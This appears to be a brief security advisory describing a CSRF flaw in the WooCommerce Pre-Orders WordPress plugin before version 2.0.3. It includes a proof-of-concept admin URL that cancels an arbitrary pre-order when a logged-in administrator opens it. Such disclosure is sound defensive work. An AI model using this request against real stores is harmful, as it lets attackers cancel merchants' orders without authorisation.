WooCommerce Pre-Orders < 2.0.3 - Arbitrary Pre-Order Canceling via CSRF

The plugin has a flawed CSRF check when canceling pre-orders, which could allow attackers to make logged in admins cancel arbitrary pre-orders via a CSRF attack

PoC

Make a logged in admin open the URL below (42 being a pre-order to be canceled) https://example.com/wp-admin/admin.php?page=wc_pre_orders&amp;action;=cancel_pre_order&amp;order;_id=42